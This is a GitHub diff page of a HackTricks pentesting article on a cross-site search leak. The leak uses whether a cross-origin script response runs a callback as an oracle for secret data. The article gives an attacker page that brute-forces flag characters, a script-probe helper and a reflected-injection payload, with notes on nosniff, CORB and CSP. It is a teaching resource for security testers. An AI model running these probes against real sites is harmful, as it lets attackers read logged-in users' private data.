You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/xs-search/javascript-execution-xs-leak.md
+177-5Lines changed: 177 additions & 5 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -2,8 +2,42 @@
2
2
3
3
{{#include ../../banners/hacktricks-training.md}}
4
4
5
+
This XS-Search primitive turns **whether a cross-origin response executes as JavaScript** into a **Boolean oracle**.
6
+
7
+
The usual setup is:
8
+
9
+
-**Positive state**: the target returns attacker-controlled text or sensitive content that does **not** execute as attacker JavaScript.
10
+
-**Negative state**: the target reflects attacker-controlled text into a place that is parsed as valid JavaScript, so the attacker can force a callback such as `window.parent.foo()`.
11
+
-**Leak**: load the target with a classic `<script src>` and observe whether the callback fires.
12
+
13
+
This is basically an **execution oracle**, not a timing oracle. The only thing the attacker needs is a **cross-origin script inclusion** that behaves differently depending on the secret-dependent branch.
14
+
15
+
For the generic XS-Leaks background, see:
16
+
17
+
{{#ref}}
18
+
README.md
19
+
{{#endref}}
20
+
21
+
## When This Works
22
+
23
+
This technique is practical when all of the following are true:
24
+
25
+
- The victim is authenticated to the target origin.
26
+
- The attacker can make the victim browser request a **classic script** from the target origin.
27
+
- One branch returns content that is **valid attacker-controlled JavaScript**.
28
+
- The other branch returns content that **does not execute the attacker callback**.
29
+
30
+
In practice, the easiest cases are search/debug endpoints that:
31
+
32
+
- return attacker-controlled text when a guess is wrong
33
+
- return a different body when the guess is right
34
+
- let the attacker choose a parameter such as `callback`, `hint`, `msg`, or a reflected prefix/suffix
35
+
36
+
## Basic Example
37
+
38
+
Server-side code that will try `${guess}` as a flag prefix:
39
+
5
40
```javascript
6
-
// Code that will try ${guess} as flag (need rest of the server code
7
41
app.get("/guessing", function (req, res) {
8
42
let guess =req.query.guess
9
43
let page =`<html>
@@ -22,7 +56,7 @@ app.get("/guessing", function (req, res) {
22
56
})
23
57
```
24
58
25
-
Main page that generates iframes to the previous `/guessing` page to test each possibility
59
+
Main page that generates iframes to the previous `/guessing` page to test each possibility:
26
60
27
61
```html
28
62
<html>
@@ -48,7 +82,7 @@ Main page that generates iframes to the previous `/guessing` page to test each p
//Start with true and will be change to false if wrong
85
+
//Start with true and change to false if the guess is wrong
52
86
candidateIsGood =true
53
87
guessIndex++
54
88
if (guessIndex >=flagChars.length) {
@@ -60,7 +94,6 @@ Main page that generates iframes to the previous `/guessing` page to test each p
60
94
let iframe =`<iframe src="/guessing?guess=${encodeURIComponent(
61
95
candidate
62
96
)}"></iframe>`
63
-
console.log("iframe: ", iframe)
64
97
hack.innerHTML= iframe
65
98
}, 500)
66
99
</script>
@@ -70,7 +103,146 @@ Main page that generates iframes to the previous `/guessing` page to test each p
70
103
</html>
71
104
```
72
105
73
-
{{#include ../../banners/hacktricks-training.md}}
106
+
The attacker logic is:
107
+
108
+
1. Start every candidate as "good".
109
+
2. Load the target response as a script.
110
+
3. If the response executes `window.parent.foo()`, mark the candidate as wrong.
111
+
4. If no callback fires, keep the candidate and continue brute-forcing.
112
+
113
+
## Minimal Probe Pattern
114
+
115
+
In many real targets, an iframe is not required. A direct script inclusion is enough:
116
+
117
+
```html
118
+
<script>
119
+
let hit =true
120
+
functionmiss() {
121
+
hit =false
122
+
}
123
+
124
+
functionprobe(url) {
125
+
returnnewPromise((resolve) => {
126
+
hit =true
127
+
consts=document.createElement("script")
128
+
s.src= url
129
+
s.onload= () =>resolve(hit)
130
+
s.onerror= () =>resolve(false)
131
+
document.head.appendChild(s)
132
+
})
133
+
}
134
+
</script>
135
+
```
136
+
137
+
If the "wrong guess" branch reflects `miss()`, then:
138
+
139
+
-`probe(...) === false` means the callback executed or the load failed
140
+
-`probe(...) === true` means the script loaded without running the attacker callback
141
+
142
+
For reliability, use a **fresh script element per probe** and add a **cache-buster** such as `?r=${crypto.randomUUID()}`.
143
+
144
+
## Modern Caveats
145
+
146
+
### It must be a classic script
147
+
148
+
This primitive relies on the browser fetching the resource as a **classic script**. A plain `<script src=...>` without `crossorigin` is fetched in `no-cors` mode, which is exactly why this old pattern is still useful cross-origin.
149
+
150
+
Do **not** switch to `type="module"` for this technique:
151
+
152
+
- cross-origin **module scripts require CORS**
153
+
- many targets that are includable as classic scripts will simply fail as modules
154
+
155
+
### MIME type and `nosniff` decide whether the payload executes
156
+
157
+
Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type.
158
+
159
+
That means this oracle often depends on:
160
+
161
+
- whether the target returns `application/javascript` / `text/javascript`
162
+
- whether the target returns `text/plain`, `text/html`, or JSON
163
+
- whether `nosniff` is present
164
+
165
+
This is also why some endpoints only give a leak in one branch: one response is accepted as script, while the other branch is blocked or parsed differently.
74
166
167
+
### CORB can change the observable result
75
168
169
+
CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an **empty valid script response** instead of surfacing a parse failure. So for some endpoints:
76
170
171
+
- one state triggers a normal script parse / callback
172
+
- another state becomes an empty script and only `onload` fires
173
+
174
+
That is still a useful oracle, but the signal is now **callback vs no callback** or **onload vs onerror**, not just "JavaScript executed or not".
175
+
176
+
### CSP can kill the attacker-controlled branch
177
+
178
+
Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:
179
+
180
+
-`script-src 'none'` can force attackers to pivot away from a direct execution oracle
181
+
- CSP/SRI/CSP-report interactions can still create **other** leak oracles, but those belong to different pages/techniques
182
+
183
+
So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.
184
+
185
+
## Useful Variants
186
+
187
+
### Callback-parameter endpoints
188
+
189
+
The most convenient target is a JSONP-style or debug endpoint that accepts a parameter such as:
190
+
191
+
-`callback=...`
192
+
-`cb=...`
193
+
-`jsonp=...`
194
+
-`hint=...`
195
+
-`msg=...`
196
+
197
+
If the "miss" branch reflects that value verbatim into executable JavaScript while the "hit" branch returns different content, you get a direct Boolean oracle with no timing measurement.
198
+
199
+
### Syntax-preserving prefixes and suffixes
200
+
201
+
Sometimes you cannot fully control the response body, but you can still make the negative branch execute:
202
+
203
+
- close the current string or function argument
204
+
- inject the callback
205
+
- comment out the trailing bytes
206
+
207
+
For example, a reflected branch like:
208
+
209
+
```javascript
210
+
showResult("<attacker>");
211
+
```
212
+
213
+
can often be turned into:
214
+
215
+
```javascript
216
+
showResult("");window.parent.foo();//");
217
+
```
218
+
219
+
If the positive branch does not reflect that payload, the callback becomes the oracle.
220
+
221
+
### Combining with event-based oracles
222
+
223
+
If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:
224
+
225
+
- callback fired
226
+
-`onload`
227
+
-`onerror`
228
+
229
+
This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior.
- Prefer **one bit per request** and keep the callback side effect simple.
239
+
- If you probe many candidates, remove previously inserted `<script>` elements or isolate each attempt in a fresh iframe.
240
+
- Cache and service worker behavior can poison the oracle; use cache-busting.
241
+
- This primitive is strongest when the negative branch is **fully attacker-controlled JavaScript**. If you only get partial reflection, the exploit becomes a payload-shaping problem rather than an XS-Search problem.
0 commit comments